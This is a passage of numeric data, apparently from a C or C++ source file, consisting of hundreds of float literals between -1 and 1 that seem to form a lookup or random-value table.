0.599407011070674f, -0.342213391542906f, -0.387135346574836f, -0.572027944718123f, -0.622717582512866f, -0.676949872287677f, 0.993953153886700f, -0.784539234625462f, 0.788778188174951f, -0.0652679971583152f, -0.988740647590182f, 0.748989697777310f, 0.412949190397683f, 0.206661198525718f, 0.573116044772809f, 0.938498079842984f, 0.743167714677278f, 0.755679122637903f, -0.295095987460132f, 0.217166189740252f, 0.230160404687938f, -0.504654557405015f, 0.472402206737240f, -0.867751757044285f, 0.869050101160567f, -0.905285205825199f, -0.0698843699947245f, 0.762379282963140f, 0.634191197174691f, -0.498487028811837f, -0.284257632541078f, 0.224245853978976f, 0.412950901773606f, -0.831984679101472f, -0.375663639002356f, 0.153699995838016f, -0.953997055484851f, -0.545360745186449f, 0.637687001020610f, 0.465459355638311f, 0.0769011654935299f, 0.267123343048604f, 0.545842501706277f, 0.778890986545214f, -0.363432183057524f, 0.479786652022207,
-0.600912698239979f, -0.738845504293020f, -0.775987143750184f, -0.705559714187038f, -0.310523750352236f, -0.576081829930414f, -0.0341897834633795f, -0.388414434291246f, -0.790681299048144f, -0.169440674711419f, 0.219815472280053f, -0.323451599202462f, 0.835623141427806f, -0.932446301638351f, -0.831480966559550f, -0.185050128422203f, 0.946045240208487f, 0.864740749402213f, 0.916918979039328f, -0.204049261822351f, -0.807183358636872f, -0.484543897885746f, 0.974235382435000f, -0.208019257024664f, 0.647411336652954f, 0.0961385231960816f, -0.800258527388060f, 0.352982142334643f, 0.917274278881503f, -0.733934252997685f, -0.229420044045673f, -0.358499183112933f, 0.469156578609832f, -0.859359096702447f, -0.937762141277625f, 0.389776419837803f, 0.458425599271073f, 0.542973137971009f, 0.675023236195573f, 0.944029213696263f, -0.774027667733194f, 0.262984845114612f, 0.842689106929982f, 0.349251854560315f, 0.815938991679117f, -0.226283690374971f, 0.144356327986477f, -0.610588223452142f, 0.539695204296007f, 0.655759463021729f, -0.725805170479948f, -0.194977831685847f, -0.306105075607822f, 0.725461617920836f, 0.678283785172857f, 0.250577882812283f, -0.571672652704059f, 0.112132856850530f, -0.236412229648694f, 0.768173015701816f, -0.799251028098975f, 0.100723381526471f, 0.113856811781171f, -0.0281630563735495f, -0.0727902548617043f, -0.515248547261805f, 0.795765010992038f, 0.505540143557856f, -0.496124371632015f, -0.363010091302494f, -0.302067159683438f, 0.941309812688142f, 0.0564765277142674f, 0.733027295879568f, 0.582734217224559f, -0.159007222603058f, 0.827637470837748f, -0.163060519537145f, 0.352357500273427f, 0.920405360379926f, -0.280691553157313f, -0.401974149240862f, -0.131353114797667f, 0.0719728276882135f, 0.795795661384902f, -0.348203323368113f, 0.946184663961743f, -0.188400643814906f, 0.979319203447783f, -0.132195434304746f, 0.585832597473452f, -0.894730397941282f, -0.998045985412111f, -0.717844040997160f, -0.706372640246558f, 0.237517748136224f, 0.767232946579208f, -0.246080656591091f, -0.767887803661775f, 0.139501344992184f, -0.545658806327887f, 0.480755550666584f, -0.355750609145607f, -0.493518864013929f, 0.832011102158605f, 0.122542855024589f, 0.179356501845966f, 0.630805165349165f, -0.888557403477561f, 0.861375782261841f, 0.963467658712489f, -0.00498707715217361f, 0.341894517453263f, 0.654808049991043f, -0.826909952854692f, 0.101446328788119f, 0.401514152845232f, -0.830556985096328f, 0.832187560444347f, -0.657254039822149f, 0.0304197382717133f, -0.718462386339415f, -0.592343549551534f, -0.356333235896531f, 0.674135547073730f, 0.606490641440102f, -0.707328770155748f, 0.0251846271186025f, 0.763024927861424f, -0.258224600040528f, 0.456384203436896f, 0.626482995304888f, 0.162353458245830f, 0.964280614412026f, 0.869262296229816f, -0.0659501568862260f, -0.712869755397848f, -0.946968242335746f, -0.852822740386429f, 0.791522782900379f, 0.824530390150335f, -0.369383609091590f, 0.118366422602132f, -0.713278848975255f, 0.549165545117801f, -0.00201102645336770f, 0.748955154405439f, -0.173689412898754f, 0.175162399203493f, 0.0819730422177463f, -0.804833155982895f, 0.972966530563786f, -0.0614871820303859f, -0.293463394754661f, 0.885919261783643f, 0.498531250561504f, -0.808874001349436f, 0.364344357769432f, -0.945616638616975f, -0.285864129675031f, -0.0438177789332626f, 0.303981486324719f, 0.362653007142366f, -0.543157427730716f, 0.174551703296805f, 0.140105048664068f, -0.704163993684247f, -0.647461975308389f, 0.831243960763754f, -0.364954329841192f, -0.730289885595360f, 0.0119708019435723f, 0.796338505809816f, -0.227851954967331f, -0.927330125804492f, 0.0602265250934577f, -0.485204061877453f, 0.198319346525046f, -0.529723177394882f, -0.321493822700232f, -0.839566193416413f, -0.187812484529161f, -0.396142329367383f, 0.367600156667632f, -0.922657847865138f, 0.893508892950972f, -0.504434314314017f, 0.663184814192863f, 0.887813887366393f, 0.267103483259066f, 0.984313142773772f, -0.667515321448428f, 0.0718416862496054f, -0.733363156570869f, 0.00186343206374962f, -0.316531364321301f, -0.467549697367438f, 0.569865535259013f, -0.556502178434536f, -0.650896672234238f, 0.564462797319346f, 0.585276582729153f, -0.433005641153548f, 0.847012427243871f, -0.462088105064984f, -0.379468633087939f, -0.0104892833799723f, 0.654191676584918f, -0.893278846859767f, -0.689350274835588f, -0.333220721049179f, -0.0461703436190983f, -0.463411501818667f, -0.995085073808794f, 0.526075522777196f, -0.0686703698159610f, -0.855908120278260f, -0.239774384006192f, -0.524142243888286f, 0.119526621106050f, -0.838266471869898f, -0.459366707886497f, -0.974921205300089f, -0.680517660007036f, 0.507695286553230f, 0.0920009889477380f, -0.674459855090400f, 0.554585280302756f, 0.357871391273056f, 0.453052004120624f, -0.991707675828263f, 0.144725488641274f, 0.0886535789688503f, 0.708257184179799f, 0.579351194763774f, 0.902098539548710f, 0.0104715251706708f, 0.112677648152527f, 0.0513772996762050f, -0.647561525299580f, 0.321958856072156f, -0.433510239079594f, -0.481493822802105f, 0.651663699618654f, 0.922649363108760f, -0.751799312011289f, -0.0336105332513619f, 0.236872038257485f, -0.0434863841224971f, 0.150810692021768f, -0.217629544451037f, 0.345890414626050f, -0.471941673338326f, 0.675001035054686f, -0.986585320322202f, -0.784679789758475f, 0.270727429189404f, 0.595792127677512f, -0.485969146811564f, 0.222507692419212f, -0.850070310429306f, -0.575184466843042f, -0.220860571657717f, -0.749449040845746f, 0.743039624335149f, 0.463892797640518f, 0.224829531690830f, 0.935410439714992f, 0.00609595972560872f, 0.830877831388658f, 0.0270299847557276f, -0.648763861115704f, 0.471982277585509f, -0.145722971031426f, 0.650947186397952f, -0.266164907037466f, -0.962378355156458f, 0.354855353373398f, -0.184127215272909f, -0.825621979621661f, 0.595495186093792f, 0.448679578752395f, -0.839671989567806f, 0.302158874138200f, -0.735484620769119f, -0.891040803749876f, 0.880298595525880f, -0.281199581528421f, 0.0195033020490396f, -0.511515485794419f, 0.447303195702203f, 0.375317547074287f, 0.964442757731427f, 0.167643569291013f, 0.0118587246816413f, 0.958187068873858f, 0.315395458761821f, 0.188852872643367f, 0.417450657662866f, -0.540566147670448f, -0.422709015019828f, 0.101425586029329f, -0.235465301656357f, -0.806044548641562f, -0.617153815671298f, 0.350658348898447f, -0.738540593521098f, 0.291893065415692f, 0.335435501842245f, 0.832048727909480f, -0.609539777284250f, -0.436992256701542f, -0.685315947977391f, -0.502107715051164f, -0.893460699283628f, -0.262263680492396f, 0.454417031133778f, 0.223227655510993f, 0.605288383003966f, -0.698800586984034f, 0.864843125666124f, 0.363752223710394f, -0.354571459375900f, -0.575008718239530f, 0.423061550052490f, -0.272459660313524f, -0.116932919064239f, 0.547073367599225f, -0.890822451422250f, -0.884262586749836f, -0.889803003239001f, 0.217660629852574f, 0.154863581361214f, -0.333284425759330f, -0.826087281020982f, -0.958198419703014f, 0.850114828540176f, -0.391190814837661f, 0.956578087128909f, 0.0541599967910713f, 0.0988550815990206f, 0.851903747125444f, 0.361959550717838f, -0.901818125706440f, -0.0561477675277424f, 0.522090821863134f, 0.263383912024089f, -0.161061362097086f, -0.983707460720128f, -0.333128836619106f, -0.546535222349413f, 0.627261888412583f, 0.408731616102241f, 0.754700916401496f, 0.869772826180715f, 0.362242883540519f, 0.853587698951791f, -0.698910717068557f, -0.671945256263701f, 0.802655941071284f, 0.338701009518668f, -0.0297818698247327f, -0.881311052338108f, -0.296717226328950f, -0.965699941652671f, -0.737164428831818f, 0.00804554422537485f, 0.989716933531351f, -0.832438692682457f, 0.454553001515962f, -0.933801685729775f, -0.644562445615081f, 0.104508389084640f, -0.535426180524709f, -0.937041822784313f, 0.599911275476691f, -0.789109397888652f, 0.821293320968620f, 0.818032308067912f, -0.838306491947354f, -0.172883985566904f, -0.185775969502745f, -0.672256019841514f, -0.412525056012874f, 0.142272136963196f, 0.792136721788200f, -0.726314486042219f, -0.445981475954073f, -0.857821372905156f, -0.783006950965519f, 0.438776336055643f, 0.400193156140386f, 0.177525578340235f, -0.435380642286229f, 0.547815754835977f, 0.0496394855194708f, -0.442174406426496f, -0.0856142956982360f, -0.0247840885457120f, -0.779016166389253f, -0.511802368745331f, 0.319887353303028f, 0.721806644023428f, 0.770423389111803f, 0.809969588377187f, -0.196191981856391f, -0.105718971622809f, -0.301674515042257f, 0.613622254387482f, -0.969517273103490f, 0.0144576310630131f, -0.668829420461301f, 0.750377960820232f, 0.696858494013122f, -0.563485511352760f, 0.726226115587466f, -0.227540741583116f, 0.665488592033944f, -0.124611809537824f, 0.489550286613580f, -0.579185308695604f, 0.628687311174276f, -0.295770837727116f, 0.240358361854250f, -0.155642183802961f, -0.885945841456110f, 0.388592282428421f, -0.663862196774143f, 0.363779469451472f, -0.371285870971327f, 0.563159689631810f, 0.102725415308920f, -0.320909176496511f, 0.334328794247963f, -0.401664407219370f, 0.726728495517480f, -0.192310060924823f, -0.107973316004269f, 0.898177814643418f, 0.456682306673978f, 0.890742303266606f, -0.742770990765425f, 0.0337493848747046f, 0.786190819119190f, 0.911503487800545f, 0.288384155888888f, -0.249479393879906f, -0.431949793185094f, -0.0847659302921913f, -0.475416985100444f, -0.362720571751962f, 0.676910741300893f, 0.00488530543559529f, -0.227678010632002f, -0.0632947771540859f, -0.990261099329279f, -0.708485805011827f, -0.304846597458441f, -0.480289782580152f, -0.593254971635338f, -0.656335976085053f, 0.584373334310954f, -0.493268395245234f, -0.00212668034894836f, -0.480221591678953f, 0.622365041709782f, -0.258845071515928f, 0.943825418665593f, -0.716642329101759f, -0.765317239111819f, 0.324487844009035f, 0.108158868464706f, -0.790583201992229f, -0.649218622127061f, 0.751409704126257f, 0.301455204388007f, 0.620482350165047f, 0.411016780608874f, -0.878843779367281f, -0.779673415191805f, 0.616508572699874f, 0.0750844738292273f, 0.341011338533919f, -0.553376665552953f, 0.277561087965059f, 0.527499935800293f, -0.489644680144407f, 0.514353996113782f, 0.229842524701725f, 0.139172928186734f, 0.793753206591897f, 0.835555341130211f, 0.794120687009671f, -0.0994745468343306f, 0.109098970584400f, 0.383123470993648f, 0.272549010931094f, 0.683070582699418f, 0.522823199313615f, 0.235903759158310,
-0.269490013000195f, -0.103775744391749f, -0.994083979953753f, 0.754983594207459f, 0.806308398378106f, -0.997543362839150f, -0.00396367603607373f, -0.873768378178592f, -0.755907732827809f, 0.703713206520365f, -0.0716773056166142f, 0.0792968663717508f, -0.113760825029016f, 0.828188140127672f, -0.103062543982628f, 0.0455017026983378f, 0.330658414568756f, -0.615810862221588f, 0.827890015477212f, -0.507551960954374f, -0.371044788092612f, 0.723489294741891f, 0.169072478802524f, 0.885612989356318f, -0.496475905980558f, 0.114400438991609f, 0.427961880327008f, -0.0456714004002505f, 0.0246660859589438f, 0.175616122301987f, -0.349777838484285f, -0.939474935533562f, -0.215061649130134f, 0.907049169335834f, -0.0553600192559760f, -0.982464152311714f, 0.405919915647442f, 0.755952405091542f, -0.695422520039876f, 0.373280568864688f, 0.483909023765611f, 0.784896384994620f, 0.978722132488262f, -0.113866140463085f, -0.630016943176703f, 0.512742627309861f, -0.829104067044703f, -0.240982431155520f, 0.0107361024967163f, -0.438682584788413f, 0.935730031472303f, -0.953447901200043f, -0.984218956474073f, -0.745077052885218f, -0.466232938128846f, 0.0326267564209573f, 0.303877586274065f, -0.199843777507458f, 0.674317529952029f, 0.448678903834397f, -0.681863209154081f, 0.273397524216090f, 0.193101955704959f, -0.342858479278718f, -0.485179713360910f, -0.586067050491890f, 0.393099777352274f, -0.982324485510343f, -0.852553426343700f, 0.773613825101220f, -0.590256032959421f, 0.837952413540589f, -0.643137731235821f, -0.311955662956384f, -0.888588599835619f, 0.304629859477166f, -0.810098957400030f, -0.534291626181040f, 0.878601703692302f, 0.362706441157764f, -0.254447668911795f, 0.604309282304246f, -0.977266419340276f, 0.250927873824064f, 0.549600558999971f, -0.796155833245480f, 0.226373301058549f, 0.0137578302483823f, 0.819708534464965f, 0.185662636424304f, -0.450456459548662f, 0.0953849597308440f, 0.736872088617975f, -0.582024306116842f, -0.0522261513001507f, 0.394348349710790f, -0.461023913227183f, 0.139996201153565f, -0.790168851966909f, 0.692544084408690f, -0.580603732841955f, -0.584540773580447f, -0.967062276813525f, -0.00886260208554912f, -0.0520831218167985f, -0.999614949922684f, -0.965820736077636f, 0.366390034326646f, 0.0323069925013668f, 0.164651515113853f, 0.300260003499445f, -0.340634856317630f, -0.238157231550037f, -0.291645957143165f, -0.773881882387456f, -0.144494053860223f, 0.660329619628580f, -0.626727996257997f, -0.994965090982706f, 0.161018019917379f, -0.327211572176153f, 0.0410991278573425f, 0.0123663905917732f, 0.747176159655312f, -0.485981637435718f, 0.00667961234248971f, 0.631625759154389f, -0.831294487064668f, 0.449606477050286f, 0.768845094514142f, 0.928354534843426f, 0.812647997969340f, 0.353418126917875f, -0.872184763557736f, -0.579130598386915f, -0.912928075675835f, -0.779484407508668f, 0.534916834944041f, 0.326353225230543f, 0.395431557674662f, -0.842103899863317f, 0.196590107332985f, -0.261317824893025f, 0.750190543523333f, -0.103409967857074f, -0.201452426430379f, -0.213633615009587f, 0.578822104214576f, -0.130809161238349f, -0.774608769872343f, -0.0222201705228122f, 0.126990738965544f, 0.785780586747108f, 0.0379484317527632f, 0.837140835706189f, -0.191007948387153f, 0.106781679021568f, 0.990298140861558f, 0.618337701073777f, 0.460255491901774f, 0.716379796730692f, -0.159421014009881f, -0.560212468621569f, -0.147263014783522f, -0.962301694075771f, -0.327702010262213f, -0.773959532468388f, 0.351239668535113f, -0.682281479449518f, 0.342188824054257f, -0.743039216419066f, 0.700710268270439f, 0.919651386092770f, 0.626343233048871f, -0.157189576636596f, 0.781882574006976f, 0.349953565654219f, 0.361235312853466f, 0.313242228422046f, 0.582185182102266f, 0.554504358491139f, 0.711217954194576f, 0.332473377627418f, 0.165078226255772f, -0.228349029389292f, 0.899730713958153f, 0.653894503448836f, -0.0452904440925501f, 0.0328806142413372f, 0.793701315832839f, -0.703826261467540f, -0.901648894320192f, -0.195631966969018f, -0.0470590812056508f, 0.487185699934959f, 0.175961644103331f, 0.818028721319245f, -0.224389104974946f, 0.901974203693823f, -0.153212477843726f, -0.472747796173897f, -0.587471692952684f, 0.452340198339707f, 0.996443894349412f, -0.849126217374502f, -0.403800337277983f, 0.923427876645159f, -0.0516037992113898f, -0.380335341989182f, -0.299914673109747f, 0.764492139190834f, 0.773463290027243f, 0.0175454601261817f, -0.400742340353541f, 0.912354892189422f, 0.999766609328281f, -0.521321752061712f, -0.365769506846305f, 0.477612405338644f, -0.0522578739905535f, -0.479259238587280f, 0.645161410912429f, -0.702546085166056f, 0.359736398041538f, 0.638130894056863f, 0.115633419893101f, -0.674410360620500f, -0.150824943737990f, -0.824854463897591f, -0.504410162129685f, 0.560317574021813f, -0.159611666752889f, 0.997647540626334f, 0.702777895178414f, -0.946494281691535f, -0.0109619562916898f, -0.383756482005404f, 0.872670066971334f, -0.453527506439184f, -0.635719199113957f, 0.932852122005178f, -0.800755479140234f, -0.225213334363716f, 0.251163542389519f, -0.598147625383133f, -0.155241293946661f, 0.967736510890644f, -0.0157250628103103f, 0.250570924071858f, 0.209749651169078f, -0.381016062687537f, -0.679300447230592f, 0.160197663113971f, -0.749803147200800f, 0.596917045783617f, -0.0878737681749431f, 0.642402180339789f, 0.261614973684270f, -0.111833224093973f, 0.300170844971678f, 0.317966800167647f, 0.0585375534708252f, -0.842709435910728f, 0.760207701069839f, -0.979366191145221f, 0.940703569377911f, 0.866488078693979f, 0.553497107695259f, 0.127260247084497f, 0.530106152060111f, 0.725171359852920f, 0.356742729430045f, -0.209841680046178f, -0.164239817187855f, -0.888858150931758f, 0.0367561852378047f, 0.803496113779956f, -0.594927045375575f, -0.00347281985657166f, 0.114118941713783f, -0.427864462568672f, 0.719021423892768f, 0.335845790828654f, 0.0207216235296064f, -0.523146933862102f, -0.145001077781793f, 0.490566784879983f, 0.461904660734682f, -0.897010089735077f, -0.895737903861849f, 0.343397505472310f, -0.684377591381862f, -0.0154016881290400f, -0.462987614871549f, 0.884045010701589f, 0.192617174725234f, 0.226497290324550f, -0.788151335932529f, -0.190538526746651f, -0.556614046330326f, -0.139480186854974f, 0.196785300148418f, 0.978844132512627f, -0.290726060479808f, -0.591813978495167f, -0.0769033757443105f, -0.467044929381376f, 0.171585053083057f, 0.408215527269010f, -0.818706013465989f, -0.328144984930982f, 0.790275356337217f, -0.977491163139178f, -0.979679268318504f, -0.524875121608236f, -0.263859024168277f, 0.0180787743488171f, -0.984390626106750f, 0.952274619010224f, -0.851400664579601f, 0.692959439369046f, -0.150312001943653f, 0.712066554169562f, -0.492336226254660f, -0.453559897031351f, -0.159679763180474f, 0.745834647687870f, -0.725963425297178f, -0.720341794596050f, 0.370674334928492f, -0.845974926208293f, -0.00448769398027360f, -0.595973105115042f, 0.967372249596385f, 0.512949503724102f, 0.889619262804735f, 0.990718232652913f, -0.662246751886904f, 0.333846293708563f, -0.423114421367372f, 0.549637439543149f, -0.987876053136374f, -0.782714958794276f, 0.294868983681807f, 0.931284560597614f, 0.445522387300861f, -0.388400162488578f, -0.182673246109423f, -0.773488958971573f, 0.438788569593725f, 0.578106509978236f, -0.373449127435319f, -0.301996528814967f, -0.227124771031239f, 0.700176189695036f, -0.910948938567526f, 0.733412403327578f, 0.486154072292544f, -0.974058632864456f, 0.216693355653246f, 0.147564301397678f, -0.715192277853558f, -0.366996833259925f, 0.568909126406069f, -0.0810069456450131f, -0.371253841044151f, 0.254736918036059f, -0.868966383080701f, 0.190312518076662f, 0.457253801337437f, 0.941043431633233f, -0.297470749600241f, 0.244270515950156f, -0.240122562119888f, -0.766384662307300f, 0.765045432900429f, -0.608250739173787f, -0.733052557932594f, -0.268433000443065f, 0.733598123424154f, -0.0550005774741753f, 0.273893221740822f, -0.659641650983149f, 0.967032725204337f, 0.390126626361090f, 0.518740746381756f, -0.859387560527806f, 0.554117289841284f, 0.648904904654236f, -0.755880975555381f, 0.834231592524942f, -0.137512395743275f, 0.0477027353535724f, -0.880364563062979f, 0.458763614093086f, 0.650036413308116f, 0.496385905878033f, -0.418537115548864f, -0.565561960782851f, -0.227941684691245f, -0.165031891659812f, 0.204464989908300f, -0.688093624763916f, -0.678874848552394f, 0.813764873880514f, -0.561723359541237f, -0.575805702297063f, -0.288097000970518f, 0.950119107184838f, 0.709879842972902f, 0.730067219897393f, 0.710813066057284f, -0.192333836978130f, -0.190446300563246f, 0.872679304648751f, 0.134143163657763f, -0.979443835407234f, -0.103872104041761f, -0.0568328979324004f, -0.863020133862081f, -0.0257801722427251f, -0.577962771617033f, -0.0500056799801032f, 0.191817418291914f, -0.799853775410853f, -0.110019424741421f, 0.840753817223395f, 0.355588322976119f, 0.274501278628024f, 0.757538306972136f, 0.771547320156202f, 0.0394143752709530f, 0.120744072764658f, 0.324337882930581f, -0.380086709776951f, -0.772025774284869f, 0.473986846199588f, 0.703247561676381f, 0.734667480205300f, -0.594290184210087f, 0.760158653782445f, 0.624553744314883f, -0.941053266957965f, -0.165913770936962f, -0.0497972870738055f, -0.0435608680908517f, -0.663165366083943f, -0.570972482385751f, 0.427845034528880f, 0.0897903148165149f, -0.481825010950428f, -0.0901127105939594f, 0.887770435656611f, 0.770985476674623f, 0.00966158758316293f, -0.331059327378268f, -0.286033645163736f, -0.0698945910210471f, 0.834392309773299f, 0.875537383319608f, -0.657919190548359f, 0.583890957562885f, -0.418481077359384f, -0.282242397022386f, 0.864577023994874f, -0.898367126143440f, 0.815804441243808f, 0.616061408588373f, 0.132365642864798f, -0.221099752471970f, -0.852722283680675f, -0.269499596712950f, 0.360828136129415f, -0.120022743070141f, -0.0354652134632905f, -0.718389836602256f, 0.973490047219112f, -0.201775047168341f, 0.348769511760972f, -0.338750368577880f, -0.269769414088757f, 0.498910931428472f, -0.787648791515347f, 0.508408064858444f, -0.904215976374529f, -0.778575029821227f, -0.662889546847757f, -0.787503064261069f, -0.915166838630178f, -0.415784802770356f, 0.731806835017609f, -0.903922155472207f, 0.0872811033112211f, -0.452516774501827f, 0.577942533813694f, -0.200909337658770f, 0.866167939661793f, 0.982552542055944f, -0.332277333696961f, 0.201673960342839,
0.881239812364993f, -0.0293753746942893f, 0.0967170348490725f, -0.765573023404242f, -0.179225339525953f, -0.931530757069740f, -0.702596334762137f, 0.439106079307245f, -0.469364154277323f, 0.211063395888038f, -0.245858633045693f, 0.936376071219385f, 0.0334087380010875f, 0.0765265939183459f, 0.417091701258078f, 0.962467059286170f, -0.180698008768999f, -0.129816441691123f, -0.833694435146788f, -0.800582099046532f, 0.736376297618233f, 0.0164704176688124f, 0.207462305741760f, 0.300555292898496f, 0.777154212278295f, -0.0804533056660695f, -0.279940128908185f, 0.203101811030871f, 0.447496959357837f, 0.508353359025257f, 0.644333822521829f, 0.897259297488483f, -0.675785952117501f, 0.149337263319588f, 0.350953290584184f, 0.600296681944338f, -0.606098182955297f, -0.418312129297725f, 0.792551232171214f, -0.944025948110651f, -0.923106441737020f, 0.508989820072736f, 0.101554011154237f, -0.799369609980037f, -0.229001813644938f, 0.196367996268564f, -0.634078446275840f, 0.267446716753553f, 0.943765754688567f, 0.329924442019441f, -0.898235312442524f, 0.563592978494850f, -0.976934293161001f, -0.609744819901837f, 0.498989633313589f, -0.105680058480959f, -0.400730747241191f, 0.264919109340783f, -0.313066735594123f, -0.465399967597728f, -0.425123918113080f, -0.609514085808810f, 0.916560800692384f, 0.0173757138934230f, 0.147814399202503f, 0.594152503614559f, -0.145681097751433f, -0.427232299718493f, 0.233460382614713f, 0.337361272635241f, 0.376106438004541f, 0.900277274651600f, 0.424547631957395f, -0.710790444715071f, 0.0846761090154495f, -0.0122707338404220f, 0.119989812955904f, -0.239774389963524f, -0.692300891031819f, -0.735109129583214f, 0.802276300301071f, 0.348982047806247f, 0.916302084278941f, -0.0838164783829127f, -0.989134997097880f, 0.832909602224562f, -0.701363449605445f, -0.150487976031971f, -0.728594035984111f, -0.144393031996783f, -0.458856761770637f, 0.733295441303064f, -0.405608670768629f, 0.522871610912813f, 0.468223399458939f, -0.575139530810903f, -0.241684287862418f, -0.499140599234906f, -0.395586476697394f, 0.692745485195348f, -0.125142235859546f, -0.342212246193052f, 0.133841188490164f, -0.539478395228865f, -0.887973984329817f, -0.474033882236453f, -0.837114132429830f, 0.773392302912611f, 0.117697651876253f, -0.461595011213406f, -0.528669601602068f, -0.957799577987062f, -0.468654423525192f, -0.0602288998398475f, 0.154553704272891f, -0.422854231304259f, -0.496136532114270f, -0.348154983723668f, 0.0576478341707483f, 0.542088962901856f, -0.0465812136931592f, -0.280128217727361f, -0.900695482510248f, 0.525110685457899f, -0.957266165874283f, 0.136490670826643f, -0.213221811269364f, 0.690040133288898f, 0.269408771473479f, -0.0488994830172422f, -0.837526616586426f, -0.289127052660601f, 0.149325279006459f, -0.694169700971401f, -0.0230547571616897f, -0.368313297034846f, 0.344434270521740f, 0.859135365902404f, 0.839336654691204f, -0.511783987355355f, -0.0349625753049687f, 0.935857929664427f, 0.820032045433520f, -0.0394079346656324f, -0.656352913407746f, -0.874383371678169f, -0.425836335156061f, 0.208600154889275f, -0.135596548598733f, 0.566430757256762f, 0.820840891306264f, 0.735746624790780f, -0.765482927015804f, -0.0195537720748045f, 0.606216172027628f, 0.436027839798869f, -0.609233580289002f, -0.963547951222316f, -0.575271468261977f, 0.692873344771925f, 0.143031668657597f, 0.890157114774225f, 0.762299295692265f, 0.653618249618643f, -0.957258626549595f, 0.521895225378123f, -0.607922211531407f, -0.956795748110572f, 0.477633684273092f, 0.794301967670603f, 0.139753218894595f, 0.371726372555490f, -0.804791987531745f, 0.837080126047059f, -0.440992020192054f, 0.584986017638085f, 0.950442046050057f, 0.613109120495913f, 0.633948971396891f, -0.581246845000116f, 0.730290176291093f, 0.599119212595240f, 0.120096101936515f, -0.144169383323758f, 0.930776406826440f, -0.0209712926465206f, 0.572995665695966f, 0.924623298379120f, -0.751832867985678f, 0.630196806059302f, 0.506634179395662f, 0.0388997263873157f, -0.311041196366299f, -0.729049093325017f, -0.918815504666740f, -0.103935429478766f, -0.000623544124330300f, 0.102880227280474f, -0.563637096166535f, -0.332148269587814f, 0.472114131256244f, 0.295717126494164f, 0.246944592105312f, -0.713191555660498f, 0.160410320426559f, 0.110992936470077f, 0.213877527744528f, 0.541660996543375f, -0.872405734998843f, 0.388515073094269f, -0.840811647524440f, -0.968008592072007f, 0.669947948420772f, -0.122943215855172f, 0.565929115911552f, -0.695408966310186f, 0.361296950635219f, 0.574282481983669f, 0.0877180513263536f, -0.694316083550519f, 0.327696487191071f, 0.289746985823208f, -0.241476327174879f, 0.605084742574250f, 0.0929272338220821f, -0.391399761658219f, -0.612928183827531f, 0.0471987261466311f, 0.157388702609590f, 0.575695018001234f, 0.450453491026024f, 0.876623108212541f, -0.456500163180038f, 0.436901006801809f, 0.796734433864345f, 0.771008396172517f, -0.784740610155705f, 0.405172719255834f, 0.958393667559228f, 0.787380105147761f, -0.262826016234054f, 0.773327117333271f, 0.482142068916266f, -0.461607549022954f, -0.153993688218026f, -0.129280134980317f, 0.901812622560630f, -0.111520793491644f, -0.0973214524989203f, -0.293695817178366f, -0.190045093887485f, -0.204792515844396f, 0.501086384719391f, 0.755953359112033f, -0.425886872154604f, -0.0883029298084141f, 0.763071371252921f, -0.556289447935984f, 0.577370462369201f, 0.0480599614417476f, -0.794423686623353f, 0.756645959967545f, 0.570538730848462f, 0.872575422156333f, -0.443572567528656f, -0.0487937634747691f, 0.283986553648095f, -0.170910821134099f, -0.329867000423004f, -0.982322841409943f, 0.555344201026651f, -0.351964643393940f, 0.776172688776518f, -0.148102477734717f, 0.889532618676503f, -0.310979434517253f, 0.711839903052208f, -0.646385596147085f, 0.145592596381502f, 0.233949589173221f, -0.825471565980294f, -0.370248763132654f, -0.777194557275684f, -0.224658064754195f, 0.263281286751478f, 0.849661910468068f, 0.271261490445121f, -0.915885420717958f, -0.947144520818678f, 0.227960459606299f, 0.784463828083640f, 0.995882406349565f, -0.987273766396493f, 0.0792453274840108f, -0.788403526960056f, -0.619975942121645f, 0.801181796307713f, 0.967884377026145f, -0.781223064263388f, -0.300716486479280f, 0.994748932974184f, -0.200152360574411f, -0.101898131541608f, 0.542914585925881f, 0.407729967031792f, -0.105215843903154f, 0.638066037611924f, -0.563777780161298f, 0.134189395993685f, -0.503320561486155f, -0.0379170306314711f, 0.723638115686875f, 0.747948383928228f, 0.928239905995551f, -0.736883772878758f, 0.892242913709735f, 0.468998243295705f, -0.224406388545097f, 0.758754382878863f, 0.994739001052496f, -0.749837906573089f, -0.938777322178786f, -0.619168635741936f, 0.827875717654585f, 0.294033159230782f, -0.372766318349126f, -0.292752124932124f, 0.396629951868878f, -0.986760927173237f, -0.0841834195975009f, 0.999760803826313f, 0.0142305924173638f, -0.820393900206961f, 0.409972278573230f, 0.227315924377402f, -0.641500351639361f, -0.470788010535406f, -0.486171076557593f, -0.758140688442947f, -0.971539708794928f, -0.949039718833189f, -0.146844988902767f, -0.0183627478820223f, 0.402918762093981f, 0.0620266698060286f, -0.182527786403967f, -0.374395326540229f, 0.566584207940253f, 0.879546558847970f, 0.853360173786566f, -0.515321950652696f, 0.511692631053674f, 0.342152084355850f, 0.374686420595610f, -0.794372980760555f, -0.648670375991101f, 0.761192158420166f, 0.223791993225057f, -0.342720055148453f, 0.965612513218950f, -0.796193009647904f, 0.215057114709867f, -0.0459498239576994f, 0.871047701509015f, 0.664672380241520f, -0.546301701630944f, -0.939910946986200f, -0.213195706858966f, 0.559543622118596f, -0.255844807516886f, 0.509576048776352f, -0.699005089750431f, -0.520317652140772f, -0.924306703712950f, -0.923814193467638f, 0.868401299001930f, -0.571229497763863f, 0.984740691690212f, -0.911782692220985f, -0.265295471266664f, 0.0479848731515942f, -0.195328058836883f, 0.758281465939343f, -0.418177229854869f, -0.263323557662932f, 0.0230762644115943f, 0.382605016442608f, -0.576209059863238f, -0.739785100410209f, 0.0956412509899256f, 0.0369702493097637f, 0.0738922616872486f, 0.589371657036664f, 0.548586250623500f, 0.996096574632666f, -0.574178408335425f, -0.827059309028347f, 0.600283403682961f, -0.0651062813338117f, 0.985857002071398f, 0.982700721670305f, 0.777628710286989f, -0.139415722014730f, 0.951156387462424f, 0.806391217144736f, 0.135433009714206f, 0.252388414319270f, 0.485541324740928f, 0.270688932431637f, 0.892850103229909f, 0.440168171407923f, 0.515384398158669f, 0.600884162546465f, 0.947986221531091f, 0.339440884303404f, 0.403857490690436f, -0.937015609644647f, 0.729529495316627f, -0.389601866986821f, -0.420712615666380f, -0.763003723744745f, -0.0619534667970105f, 0.486654476027536f, -0.943536854881494f, 0.471171699317719f, 0.996886209046820f, -0.945316270673373f, 0.230772742042993f, -0.621222111022648f, 0.838934157721328f, 0.124035987915113f, 0.737576768711407f, -0.217898078842006f, 0.0429859145211120f, 0.223685413947773f, 0.820073956039170f, -0.378381145423743f, -0.335672684173821f, 0.649791267584388f, 